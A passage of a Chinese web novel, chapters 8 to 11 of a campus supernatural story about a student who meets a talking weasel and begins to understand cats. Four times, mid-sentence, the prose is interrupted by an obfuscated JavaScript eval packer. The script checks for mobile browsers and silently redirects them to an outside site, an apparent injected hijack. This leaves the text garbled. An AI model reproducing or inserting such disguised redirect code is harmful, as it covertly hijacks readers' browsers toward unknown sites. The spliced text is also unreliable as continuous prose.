她翻来覆去了几次也没睡着,只听见旁边的学姐不耐烦地啧了一声。吵到别人并非她的本意,但身边躺着个对自己有敌意的人,睡不着也正常。她干脆坐起身,拿着相机出了帐篷。 七八点的时候同学们纷拥着去了树林里一遭,但不知是因为人多还是月明,并没见到萤火虫的踪影。现在晚上十一点多,月亮已经隐入了云层。常喜乐想碰碰运气,再去找找看能不能见到萤火虫。 她便顺着记忆往树林里走去,手机里还存着前辈们留给他们的地图。地图上显示观月台往西下一百米左右的小河边有机会见到萤火虫。 这一路很有些昏暗,常喜乐谨慎地顺着小路慢慢走。过了大概五分钟,便觉得眼前豁然开朗。 在这个无月的深夜,星星却为树丛盖上薄被。草木间星星点点泛着荧光。常喜乐连呼吸也不敢大声,生怕惊扰了这些美丽的生灵。她悄悄地在河边找了个大石块坐下,谨慎地将相机的静音模式开启,把闪光灯关闭,然后便开始拍摄。 其间,甚至有胆大的萤火虫飞到了她的手指上,常喜乐屏着呼吸,为它拍了一张特写照。 等到这些星点光亮慢慢散去,常喜乐才意犹未尽地呼出一口气来。她站起身,揉了揉有些僵硬的膝盖,慢慢往营地方向走回去。 然而,山间不知什么时候起了大雾。在这雾中,这短短一百多米的路显得格外漫长。常喜乐很确定自己是在原路返回,却不知道为什么一直没有走出树林,一直到她再次回到那小溪的石头边时,才意识到自己似乎迷失了方向。 她不信邪地又走了两遍,却还是没有找对路。时间渐晚,深夜在树林里迷路可不是什么好事,但除了继续走似乎也别无他法。突然,在雾里隐约出现了个人影。 “同学。”在这地方看到人,极大缓解了她的恐慌之情,常喜乐小心地唤了一声,想问问他知不知道回去的路。 那人原本靠在树干上,听到呼唤后,才慢慢转过头来。 常喜乐看清面前这人的面目后,好悬没叫出声来。 仔细一看,这哪是人?分明是一只穿着男人衣服的黄鼠狼。 8. 讨封 然而那黄鼠狼看到人却不害怕,相反的,它嘴角咧开,露出个笑来,似乎很高兴。 常喜乐从没见过这样的场景,她屏住呼吸,一时不敢说话。 “你叫我同学?”见常喜乐不说话,那黄鼠狼先搭腔了,“那你看我,像人吗?” 在一分钟前,常喜乐还可以安慰自己,只不过是一只黄鼠狼偷了人的衣服穿,大千世界,无奇不有,对吧?对的……吧? 可是这一刻,她只觉得全身汗毛倒竖。 这只黄鼠狼,居然在说人话。 常喜乐使劲掐了自己一把,痛得倒吸一口气。不是做梦。 “嗯?你说呀,你看我像人吗?”黄鼠狼看她不说话,也不着急,很耐心地又问了一遍。 当然像了,它直立行走、穿着衣服、会说话、能做人的表情,仅仅隔了几米的距离,却以假乱真到让常喜乐以为它是同行的学生。 常喜乐却不敢回答它。她不动声色地后退了一步,考虑着是否可以沿着那条小溪跑开。 “大晚上的在漫雾的山林里乱跑,可是会迷路的哦。”它提醒着,循循善诱着,“回答我,我就给你指路。” 它为什么这样执着于这个问题?常喜乐皱着眉,在心里权衡了一番,审慎地说了一个字:“像。” 眼前这黄鼠狼的嘴角咧得更开了,它对着常喜乐鞠了一躬,随后指了指身后,便在浓雾中跑远了。 等到看不见它的踪影,常喜乐才脱力一般坐在了地上。她的颈后早就冷汗涔涔,手心里也不住冒汗,腿软得没力气再走路了。 是做梦吧?动物怎么会说话呢?常喜乐不住对自己说,方才回答完那黄鼠狼之后,她只觉得自己浑身的力气都在一瞬间被抽走了一般。明知道现在不该睡觉,然而她的眼皮却越来越沉。随着头一点一点,常喜乐靠着身旁的大树阖上了眼睛。 过了几十分钟,在黑漆漆的树林中出现了亮光。那并非萤火虫去而复返,而是某些林间生物的眼睛在虎视眈眈。 然而,不知为何,它们没有办法靠近。 在黑暗中与未知的东西僵持了许久后,这些生物才不甘心地离开了。 常喜乐是被舔醒的,她睁开眼睛,觉得手心痒痒的。低头看,才发现身边卧着一只雪白的蓝眼猫,正低头舔着她的手心。 “你怎么会在这里呀?”常喜乐抬手摸了摸它的头,小猫的体温让她有了实感。她眨了眨眼,还有些恍惚,不禁想:我刚才是不是在做梦? 大雾在刚才就慢慢散开了,月亮也从云层遮蔽间现身。等缓过劲儿,常喜乐才扶着树干慢慢站了起来。小猫见状也不紧不慢地站起来,它漫步向着前边走去,与黄鼠狼刚才指的方位一模一样。 常喜乐福至心灵,决定跟着小猫一路往前走,竟然真的找到了回观月台的路。 等她整个人都被月光笼罩后,方才那只引路猫又不见了踪影。 常喜乐四下观望了一番,大家早就都睡了,就连那几个自称夜猫子的人也打起了呼噜。常喜乐悄声回到自己的帐篷边,拿出手机,一看时间,才发现竟然已经凌晨四点了。 看来她真的睡了很久。 常喜乐皱眉,更觉得自己刚才是做梦了。也许只是树干硌得她头疼,所以才做了噩梦。然而分明是睡了一觉醒来,常喜乐却还是觉得疲惫不堪。她捂了捂胸口,觉得有些心悸。 等她轻手轻脚地钻进帐篷打算眯一会时,却发觉另一边睡袋里的人不对劲。 对比学姐,这人的身形似乎太高大了些。 常喜乐微微撩开帘子,就着月光看那人的脸。 这是陈墨芯。他闭着眼睛,睡得很沉。 常喜乐的包连着手机都在这帐篷里,她很确定自己没有走错帐篷。 那这是怎么回事? 哪怕陈墨芯是走错了帐篷,那学姐又去了哪呢? 常喜乐皱眉,想要确定一件事。她轻轻地把自己带的行李塞进睡袋,又盖了件外套在头顶位置。乍一看,还以为睡袋里躺着人。 随后,她干脆地离开了人群,又走回了树林。她在树林外围找了棵树靠着,尽管眼皮仿佛有千钧重,却还是忍住了没有再睡。她强撑着精神打开自己的相机,打算再看一遍过去一天采风的成果。 这一看,常喜乐的手抖了抖。 映入眼帘的是大雾中,一个人的背影。 说是人有些不恰当,那东西看起来只有七八岁小男孩那么高,穿着不合身的长袖长裤,而衣领那下本该光洁的脖颈处却是一圈绒毛。 “你看我,像人吗?” 这个诡异的问题在常喜乐心里又荡了一圈,她清楚地认识到那根本不是梦。而且,她更加清晰地意识到,也许,自己根本就不该回答它。 …… 次日晴朗的早晨,阳光普照大地,蝉鸣未息。 有人特意起了个大早,她伸了个懒腰,慢慢走向场地中央的一个帐篷,掀开幕布的角。 看到两个睡袋中的人靠得如此近,她捂住嘴低呼了一声:“墨芯学长,你怎么和我们喜乐学妹睡在一起呀!” 说是低呼,然而声音却足以吵醒周围的几个人。其他帐篷里传来窸窸窣窣的声音,有人探出脑袋来,看向掩着嘴的林悦,就她刚才说的话窃窃私语起来。 陈墨芯也慢慢睁开了眼睛,他刚醒的时候,眼神没了平常带有的温度,显得十分冷漠。他的右手还搭在另一边的睡袋上,他阖了阖眼,似乎在整理现在发生了什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288950|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事。 右臂下意识拢紧了些,触感却怪怪的。 陈墨芯睁开了眼睛。啊,好像有哪里不太对。 然而他还没来得及制止林悦,她就语调夸张地往下说了:“喜乐学妹,快出来吧,你是不是走错帐篷啦?就算和学长关系好,也不至于连晚上都待在一块吧……” 听着她似是而非的话语,周围的窃窃私语声更大了。 “你在说什么?”意料中的声音却从完全没想到过的方向传了过来。人群顺着声音看去,只见那个短发的漂亮女生伸了个懒腰,不紧不慢地从树林里走了出来。她眨了眨眼睛,看着林悦精彩的脸色。 陈墨芯掀开了睡袋上的外套,里面自然是没有人的。他弯了弯唇角,不知道在想些什么。 “你……怎么会?”林悦显然也有些不可置信。 “昨晚我在树林里迷了路,一直没有回来,学姐都没有发现。可是你今早连我的脸都没看到,就断定睡袋里的人是我。你是靠什么认的人,又为什么断定是我走错呢?”常喜乐那圆眼睛头一回没了笑意,她冷冷地盯着张口结舌的林悦。 昨晚还感情很要好的同窗们现在就像是事不关己的看客。只是仿佛吃到什么大瓜似的精神起来。 常喜乐环顾一圈,突然觉得很没意思,她径直穿过人群走到中央的帐篷前,利索地拿上自己的包和外套。在俯身拿外套的时候,她不可避免地和陈墨芯对上了眼神。 对方像是终于睡醒了,眼神里又盈满了笑意,完全没有对自己睡在不该在的帐篷里感到迷茫或者慌张。 “抱歉。”陈墨芯盯着常喜乐的眼睛,他原先就觉得她这圆眼睛像猫眼,好看极了。这一会儿她眼神里泛着怒意,就从豢养的家猫成了有性子的野猫,挠得人心里痒痒的,“大概是昨晚起来后,回错帐篷了。” 说着抱歉,语气里却毫无歉意。 没有诚意的道歉,不知是否无辜的人,常喜乐无心再回应。 她撤回手,把背包甩在肩上,用所有人都能听到的声音宣布:“我退出摄影部。” 原以为是一群爱好相近的人聚在一起交流心得,看来并不是。 只不过是大了两岁,大了两级,就真把大学当做是什么勾心斗角的小社会,仗着自己有所谓的资历就欺负起人来么? 常喜乐没有兴趣打谁的脸,收服人心,也没兴趣努力地站上所谓小社会的顶端。你一但和谁争斗,就意味着被拉进他们的评价体系,从此没有输赢可言,只会成为一丘之貉。 所以最好的办法就是让他们消失在自己的生活里。 天亮了,她径自向山下走去。 陈墨芯看着她的背影,却显得饶有兴味:“有缘再会,常喜乐同学。” 9. 借运 “原来是这样啊……真是可惜呢。”图书馆旁,陈墨芯听完后背着手叹息,他眼睛弯弯的,语气听起来倒不怎么可惜。 常喜乐不睬他,她心里还记挂着刚才那只开口说话的猫,觉得自己现在有更重要的事情要做。 “医生,我幻听,我觉得这个症状真的有点严重。我不仅看见黄鼠狼假扮人,还听见猫说话了!是不是跟我前段时间生病有关系,我最近总是频繁地做一些非常诡异的噩梦。”某医院的耳鼻喉科诊室内,常喜乐坐在椅子上,努力描述自己的情况。 穿着白大褂的医生神情凝重地听她描述,在检查过她耳部的情况后发现并没有问题,喃喃道:“没听说过这种情况呢……” 正说着,门口候诊的下一位短卷发阿姨听见常喜乐说的话,突然探进头来问:“姑娘,你说你遇见黄鼠狼扮人啦?” “是的呀。”常喜乐回头应她。 “哎呀,它有没有问你它像不像人?”阿姨追问道。 “您怎么知道的?”常喜乐原本只当是阿姨候诊等得不耐烦了才来搭话,没想到她竟然一句话就说到了要点。 “我家老汉以前也遇到过啊!他原本去山里采菌子的,结果一晚上没回来,给我急的啊!差点就报警了。”阿姨一说就来劲了,她干脆走进诊室找个凳子坐下,“第二天一大早他就回来了,跟我说他遇见黄鼠狼讨封了。” “讨封?”常喜乐头一回听见这说法。 “就是那修炼的黄鼠狼在成人前遇见了瓶颈。要越过这道坎,它就专门去找野外迷路的人,问他‘你看我像不像人啊?’你要是说像,那它就借了你的运势,修成了;你要是说不像,那它一身修为就打回原地,白练。” “我那老汉遇见的是个憨憨黄鼠狼,它要问‘像不像人?’也就罢了,居然想一步登天,问他‘你看我像不像神?’要知道这话一说出口,那借的运势就是个无底洞,没人借的起呀!我老汉说不像,那黄鼠狼就记恨上他了,一路跟到我们家捣乱了一年咧,后面搬家了还没完,一直到请了大师来才解决。” 常喜乐被这异闻传说讲得一愣一愣的,她还没来得及多问几句,就听见一旁的医生用笔尖在桌子上敲了敲,提醒道:“封建迷信不可取啊。” 阿姨急了:“你没亲身经历过,咋知道是封建迷信嘞?” 其实医生方才也被阿姨说的故事给吸引了注意力,看了看表才好悬忍住好奇心,他咳嗽了两声掩饰尴尬:“好了,我给她看完就给你看啊,后面的人该等急了。” “诶,好嘞。”一听这话阿姨就不恼了,好整以暇地坐端正了等医生给常喜乐诊治完。 那医生又把注意力转回到常喜乐身上,他又咳嗽了一声,谨慎道:“你的耳部在生理功能上是没有问题的。我个人建议,你这种情况,要不要考虑去精神科看一看?” “哎呀,你怎么说话的嘞,小姑娘年纪轻轻的去什么精神科呀?”阿姨听了又咋呼起来。 常喜乐知道耳朵没问题,也不是之前食物中毒的高烧导致的并发症之后,也就没再多问了。医生也只是根据病症给出建议,出现幻觉、多梦确实有可能是精神方面的问题。 至于要不要去就诊。 ……还是算了。 “又去医院啦喜乐,是不是哪里不舒服?”方信艾一边照着镜子,一边问她。 “没,就是耳朵有点问题。”常喜乐想了想,还是没把最近的怪事告诉方信艾。一个人说自己能听懂猫说话,听起来的确精神状态堪忧。常喜乐打算自己再去验证一番。 “耳朵有问题?难道高烧还会影响听力?你听不清吗?”方信艾顿时紧张起来。 倒不是听不清。事实上反而是听懂的东西有点太多了。常喜乐打了个哈哈表示自己没事,随后站起身准备出门。 “你又要出门呀?”方信艾今天就没看到过几次常喜乐,她这刚一回来又要出去了。 “去跑个校园跑!”常喜乐伸了个懒腰,这校园跑每个学期要跑100公里才能达标,她住院那几天一直没有跑步,进度已经落后了。 “那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288951|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也要去!”方信艾也站起身,转头问任清,“任妹你去不?” 原本在追番的任清一改往日清清冷冷的常态,不时哭不时笑的,等听见方信艾唤她,才艰难地从剧情里抽离出来分给她一个眼神,纳罕道:“你今天不吃晚饭了?” 方信艾桌上林林总总摆了一堆零食甜点,然而她揉了揉自己的肚子,摇摇头:“今天不知道为什么没胃口,不吃了。” 任清就干脆地换了身运动服,她边穿边向常喜乐揭发:“你没回来之前,她暴饮暴食可严重了。” “哎呀,说这个干什么!我反正也没胖,多吃点怎么啦,快走吧走吧。”方信艾不爱听这话,推着两个人的背就要出门。 然而几人一打开门,迎面和一个高个儿女生四目相对了。 这人一头长长的黑色直发,齐刘海,在两鬓留了个公主切,穿着黑色抹胸和牛仔裤。她化的妆容偏哥特风,嘴上涂了口黑,眼线飞扬,一双三白眼显得人有些凶。任清低头看了眼她手边的行李箱,这才打了个招呼:“你好,杨瑰司。” “忘了和你们说。”杨瑰司晃了晃手机,“辅导员要求外宿报备,但我不符合外宿要求,所以搬回来了。” 方信艾自从开学以来就和杨瑰司有些气场不和,因此这会儿站在一边不吭声。常喜乐感受到臂弯上默默抓紧的手,和杨瑰司对上视线。对方意味深长地盯着她们这个方向,直白到有些不礼貌。 “你是不是瘦了?”在一阵长久的沉默后,杨瑰司突然问方信艾。 方信艾嘴角终于露出一丝笑意,被人夸瘦令她很是受用,连带着看杨瑰司也没那么不顺眼了,她主动邀请道:“我们打算去校园跑,你要一起吗?” “不了。”杨瑰司摇摇头,“让让,我要进去收拾行李。” “那好吧。”方信艾也只是客套一下,说完就拽着常喜乐和任清往楼下走了。 等到这三个人慢慢走远,杨瑰司才回头又看了她们一眼,她神色古怪,喃喃道: “……这地方是什么鬼?” 10. 鬼司 等三个人走到了楼下,方信艾还在暗自高兴。 她转头笑眯眯地问常喜乐:“你和我也有好几天没见了,有变化的话看着会更明显。你有没有觉得我瘦了?” 常喜乐认真打量了她一会儿,点了点头。方信艾长得高,体重本来就轻,这一瘦就更明显了,甚至连她胸前的骨架形状都若隐若现。 “这段时间胡吃海喝的,却还瘦了,这可不是什么好兆头。”任清默默泼冷水,一般这种违背常理的情况有可能是身体的某个功能出现了问题 方信艾不高兴了,转头道:“吃不胖还不好?这是多少人梦寐以求的事儿,别咒我了。” “暴饮暴食对胃不好,健康饮食很重要的!”常喜乐见状不妙,捋了捋方信艾的头发给她顺毛,任清则沉默不语。 等跑完步回宿舍的路上,常喜乐还不时注意着路边有没有小猫。 然而人似乎想找什么的时候就总是找不到,常喜乐瞪大眼睛看了好久,也没见到一根猫毛。 “你左顾右盼地找啥呢?”方信艾问,她跑完步后显得有些焦躁,急着回宿舍,“快回去吧,我有点饿了!” “我在找猫。”常喜乐收回视线,“是我的错觉吗?感觉学校里的猫变少了。” “不是错觉。”任清走到了往常流浪猫聚集的一个巷子口,然而在这里也没有看到猫,她皱了皱眉,肯定道,“猫的数量就是变少了,在这半个月里。” “哎,说起来上次咱们遇见的那只猫学长,也很久没人在校园墙上发它了。我前几天还看到有人问它去哪了呢。”方信艾皱了皱眉,也耐着性子告诉常喜乐。 回寝室的路上天色已经很黑了,大街上行人倒是很多,人声鼎沸得好不热闹。方信艾一直捂着肚子赶路,走在另外两人的前边,然后突然放轻了脚步,回头对她们做了个“嘘”的动作。 常喜乐和任清对视了一眼,也很配合地轻声走过去,这一看,就瞧见树后面蹲着只小黑猫。 “喜乐。”方信艾用气音对常喜乐说,“你找小猫想干什么来着,带回去养?” “不是,就是想找找看。”常喜乐盯着那小黑猫看了好一会儿,却什么也没听到。过了会她才突然反应过来:我是能听懂猫说话,但它如果不叫,我就什么也听不到呀! 方信艾慢慢地蹲下来,想降低这只猫的警惕心,她伸出手做出个迎接的姿势,模仿着猫的叫声“喵喵”起来。 这只黑猫看起来却很戒备,它弓着身子,从喉咙里发出咕噜咕噜的威胁声,似乎下一秒就要扑上来了。然而方信艾却没感觉出不对,还欣喜地对常喜乐她们说:“它回应我了耶!” 饶是任清对猫不熟悉都觉得情况不对,她上前想提醒方信艾:“猫弓身子可能是要攻击人,你别离太近。” 常喜乐的反应更快一些,她当机立断地几步上前把方信艾往后拽去,就在这一秒,那只黑猫叫了一声扑了上来,只差一点抓花方信艾的脸。 黑猫落地后就钻进了灌木丛不见踪影,方信艾还心有余悸地拍了拍胸口,郁闷道:“我有这么不招猫喜欢嘛……我以前在猫咖的时候猫缘可好了。” 听她这么说常喜乐才突然反应过来:对啊!她干嘛要这么费劲儿地满世界找猫,去猫咖看一看不就好了吗? 然而常喜乐很快又神情凝重起来,只因为刚才那黑猫喵喵叫的时候,她也听懂了其话里的意思。 常喜乐再次听懂了黑猫说话,但这话里的内容,却更让她觉得自己是出现了幻觉。 她艰难地转过头,盯着方信艾的肩膀。 刚才,那猫弓起背故作凶恶地说:你背后那个黑影要是再过来一步,我就挠死你! 可方信艾身后空无一人,更别提什么黑影了。 “你在看什么呢?”方信艾注意到常喜乐的视线,回头望望,什么也没看着,她拧着眉头嗔怪道,“好了喜乐,下次再陪你去猫咖撸猫,快回宿舍吧,我要饿死啦!” 常喜乐还想说点什么,但连她自己都觉得刚才的事匪夷所思,告诉方信艾又有什么用呢?于是她又叹了口气, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288952|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心想:明天还是再去趟医院吧,去精神科挂个号看看。 这么一打岔,没了常喜乐作中间调剂,方信艾又和任清闹着别扭,几人就这么一路无话地回了寝室,没想到里头却热闹得很。 寝室里分明只有杨瑰司一个人,却传出很多个人交谈的声音。常喜乐打开门,看见杨瑰司上半张脸戴着张黑色面具,正对着电脑说话。电脑屏幕上映出她的脸,左下角则不住飘出一行行字来好不热闹,画面上不时还蹦出些烟花或者列车。 似乎是在某音上会刷到的直播类型。 电脑屏幕右下角还有个女生的脸,她妆容精致,看起来因为连到了喜欢的主播而感到很兴奋:“鬼司,我叫容容,关注你好久了!最近我总是听到隔壁房子有女人的哭声,但房东却说里面根本没住人,你说那有没有可能是鬼呀?” 正说着,那姑娘一墙之隔外就传来了一阵似有若无的呜咽声。 “她怎么在寝室里直播啊……”方信艾很不高兴地嘀咕了一句,干脆回到座位上打算拆零食吃。然而说来奇怪,一回到宿舍,她又不觉得饿了。 常喜乐和任清因为不想入镜,只站在原地不动。 杨瑰司转头瞥了常喜乐她们一眼,对着镜头说:“我室友回来了,我们速战速决。我关注你了,私信告诉我你家地址。” “啊……还要发地址吗?”容容愣了愣,有些不想这么随意地把私密信息发出去。 “信不过我?”杨瑰司弯了弯唇,无所谓道,“或者你敢亲自去敲一敲隔壁的门让我看看,也是可以的。” 容容还在犹豫,杨瑰司则没这么多耐心:“好了,如果不愿意的话也没关系。今天的连麦就先到这里。” “等一等!”容容连忙阻止,“鬼司,我关注你好久了,我相信你的。” 过了会,杨瑰司的手机震了震。她看了眼屏幕弹出的信息,拿出个形似八卦盘的东西来,闭上眼睛,嘴里念念有词。 过了约莫两三分钟,杨瑰司睁开眼睛,斩钉截铁道:“报警。” 11. 对不起 “诶?”容容瞪大眼睛,纳罕道,“警察还管捉鬼的吗?” “不是鬼。”杨瑰司言简意赅,“里面有个被绑起来的女人。那间房也是你房东的?报警,先别告知房东。” 随后她也不管弹幕里一片哗然,干脆关掉了直播,看着门口面面相觑的两个人,摊了摊手说:“请进。” 常喜乐慢慢回到座位上,她还是没忍住好奇心问:“你不好奇她后面到底会不会去报警吗?” 听起来似乎是很严重的事情,假如那网友因为不相信杨瑰司的话,没有报警怎么办? 杨瑰司没有看她,过了会才说:“人各有命,报不报警是她的选择,过多干涉她人因果对我没好处。” 常喜乐似懂非懂地点了点头,整个宿舍再次回到了一片死寂。 她想起刚才杨瑰司的直播风格,和她平常无意刷到的美女直播都很不一样,于是干脆打开搜索引擎,输入“鬼司”这两个字,网页上一下子就跳出了一堆帖子。 “鬼司”,从三个月前起开始活跃在互联网直播间,专门替人看生活中诡异的猎奇事件。她虽然戴着面具,却难掩五官秀丽,且言辞犀利、眼光独到,看什么说什么都准,因此广受网友喜爱。 这样说来,能不能向杨瑰司讨教一下,这听见猫说话算个什么事呢? 但和人家实在不熟,突然请人帮忙又似乎有些冒昧。 唉,算了!反正听见猫说话也不怎么影响生活嘛,常喜乐纠结半天,干脆不想这件事,扎起头发准备去洗漱。 等她洗完澡吹完头发,收拾收拾准备上床时,手机突然震动了一下。 是任清转发了个帖子给她。 帖子名字是:“鬼司今天又连麦了!” 里头是一张直播截图,正是杨瑰司和刚才与她连麦的容容。 帖主发了好长一段文字讲述事情后续:[我是这个容容的好朋友,她在鬼司下播后犹豫了很久,和我商量之后就真的报警了。警察来之后,发现那个房间里绑着一个被房东非法拘禁的女租客。她本来不在容容隔壁的那一间房,是好不容易爬到有窗的房间想求救的……唉,等被找到的时候,她人都瘦脱相了。总之鬼司说得真的很准,难以相信但是崇拜!] 这帖子一发出来就热度极高,评论区也热闹非常,有许多都是刚才在直播间好奇后续的网友。 “我靠这个房东也太恐怖了吧,要是这个容容一直没在意的话说不定下一个就是她了……” “话说这次也不是灵异事件诶。” “对啊,每次听鬼司算命,听得津津有味的,最后都发现是走近科学。” “毕竟这个世界相对于人来说,鬼才是稀有物种吧?” “没人好奇吗,她到底是怎么在这么短时间内知道房间内的情况的?比起有没有见到鬼我更好奇这个!” …… 任清的“正在输入中”显示了很久,最后却没再说话。 常喜乐莫名地打了个寒颤。她拉开抽屉,拿出被自己放好的那个紫色荷包,抿了抿嘴,将它妥善放在了衣服胸前的口袋里。 第二天,常喜乐一大早就去了那个她曾经住过好几天的医院,这里的精神科医生还算有名,常喜乐打算顺便去住院部看看——也不知道戴山雁和徐婉佳身体好些了没有? 医生在检查常喜乐的各项指标后,认为她可能是压力大了,但情况不算太严重,休息几天即可。 然而常喜乐自觉并没有什么压力,现在才刚开学一个月,课业并不繁重,人际交往也没什么问题。过段时间就要放国庆回家了,她正期待呢。 但既然医生说没什么问题,常喜乐也就稍微放心了些。 走出诊室后,常喜乐去了住院部四楼。她一出电梯就看到之前负责照看她这个病房的许护士。 “又见面啦。”许护士向常喜乐打了个招呼,她的面容不知为何有些憔悴,她看到常喜乐也有些意外,“身体好些了吗?还有不舒服吗?” “我好多啦!”常喜乐点点头,又问,“我想来探望一下徐婉佳,可以吗?” 小丫头大概就是忘性大,明明说着舍不得喜乐姐姐,要经常联系喜乐姐姐,可是到现在却连一个电话都没给她打过。 不过看在她给自己折的千纸鹤的份上,常喜乐还是拎着水果和玩具决定大发慈悲地来看望一下小姑娘。 然而许护士却面露难色:“这……你应该是探望不了了。” “怎么,她出院了吗?”常喜乐问,“这么快呀。” “不是。”许护士叹了口气,她左右望望,才凑近常喜乐轻声说,“她昨晚出了意外,没抢救过来。” “……什么?”常喜乐过了好一会才找回自己的声音,她有些不可置信地又问了一遍,却知道自己并没有听错。 “她……”昨天还抱着她的腰说舍不得姐姐,手掌肉肉的暖乎乎的小姑娘,怎么可能就这么去世了?常喜乐眨了眨眼睛,想把眼泪憋回去,她忍着声音中的颤意问,“我可以问问是怎么回事吗?” 许护士摇了摇头:“这个我们不能透露的。” “这样啊……我知道了。”常喜乐低下头,又想起来什么,问她,“请问,戴山雁现在怎么样了?” 那天她明明答应了戴山雁要常来玩,然而她出院得匆忙,也忘了和她道个别。这回怎么也是应该再看看她的。 许护士的表情却很怪异。 常喜乐走在住院部外的草坪上,有些怔怔。 她脑海里还回荡着许护士刚才说的话。 “戴小姐昨晚生命垂危,现在还在重症监护室呢。” 怎么会这样呢?常喜乐隔着玻璃看着戴山雁躺在病床上。原本秀美的女子现在却虚弱地宛如一张薄纸。她前几天送的向日葵还被常喜乐妥善地养在宿舍的花瓶里,蓬勃地绽放着呢。常喜乐默了默,从怀里拿出小姨给的那个绛紫色荷包,郑重地请许护士代为转交。 小姨说过,这荷包能保平安。那一天拿上荷包后,她的身体就痊愈了,因此常喜乐衷心希望希望戴山雁也能够挺过去。 她坐在草坪中央的石椅上,怀里还捧着方才特意买的鲜花。 然而,这鲜花却不知何时才能送出去了。 “你在干嘛呀?” 陌生的有如孩童般的姑娘音调在身边响起,常喜乐愣了愣,有瞬间还以为是徐婉佳在逗她说话。她猛地抬起头四下望了望,才发觉声源似乎在自己的脚边。 她低头看去,就见到“陛下”站在自己的脚边,绕着她的小腿转圈。常喜乐伸出手摸了摸它的头顶,小白猫仰起头,舔了舔她的手心。 现在,她甚至不为能听懂猫说话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14288953|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而受惊吓了。因为她真的很需要和谁说说话,不管和谁,不管说什么都好。 然后“陛下”又喵喵叫了几声。 这几句话常喜乐也听懂了。 它说:“能不能把那个紫色的小包给我呀,求求你啦!” 紫色小包?常喜乐疑惑了一会儿后悟了,说的是上次被它抢走的那个荷包。 “你不是已经还给我了吗?怎么又要抢。”常喜乐失笑,她在身上摸了摸,才想起来小姨给她的那个锦囊已经被她赠给了戴山雁。 她弯下腰摸了摸“陛下”的脑袋,轻声说:“荷包不在我身上噢,我把它送给更需要的人啦。你可不许再去抢啦……咦?” 她和仰着头的小白猫对视着,有些不确定地问:“你的眼睛是黑色的吗?我怎么记得……” 那天晚上,在月光下卧在她身边的分明是只蓝眼小猫,难道是她病糊涂了,才记错了吗? 小猫只绕着她打转,似乎听不懂她在说什么。 “陛下。”常喜乐抿着嘴,突然说,“我好难过。” “下雨啦!下雨啦!”有几滴水落下了小猫的头上,它抬头望了望,撒腿跑开了,临走还叫嚷着,“我讨厌下雨!” 常喜乐伸手揩掉了脸颊上的泪水,没忍住笑骂了一声:“笨猫。” 然而话音刚落,却真有细细密密的雨点先后了打在她身上。周围散步的病人或者医生先后跑进了楼内避雨,常喜乐却依旧坐在原地。 她坐在原地,垂着眼,任由自己的眼睫、头发都被雨水打湿,却不为所动。 过了会,头顶的雨突然停了下来。 耳边依然有雨声磅礴,她抬眼,见半米外还是大雨倾盆,雨并没有停。 于是她抬起头,才看见石椅后面站着个男人,他举着把伞撑在常喜乐的头顶,而他自己的身体则有大半在雨幕中逐渐被打湿。 他的眼睛是湖蓝色,此刻和常喜乐对视,看起来深不可测。 “……你怎么才来呀?”常喜乐问。 安平没说话。过了一会,他抬起手慢慢擦去常喜乐脸颊上的水珠。这水珠像断了线似的怎么擦也擦不完。因为那并非雨水,而是常喜乐的眼泪。 “对不起。”他说,“我来晚了。” 安平在医院一楼的便利店买了毛巾来,一边拆开包装,一边走向坐在椅子上的常喜乐。 他默默地给她擦拭着头发,而他自己的发尖还不时在往下滴水。 常喜乐回过神来,从他手中接过另一条毛巾,淡淡道:“弯腰,低头。” 安平乖乖地低下头,常喜乐把毛巾覆在他白色的头发上,点按着把上面吸附的雨水吸走。一开始还一切正常,过了会她似乎心中有气,力道慢慢加重,最后干脆来回搓了搓,把安平的头发揉得一团乱。 他平常最讨厌淋雨,也最讨厌头发被弄乱了。 安平抬起头,眸光微闪,有些委屈地看向她,然而却难得什么也没有说。 常喜乐问:“你这些天都去哪了?” 安平又拿起毛巾继续为她擦干头发,诚实道:“去做一件很重要的事。” 废话嘛。 “什么事?”常喜乐追问。 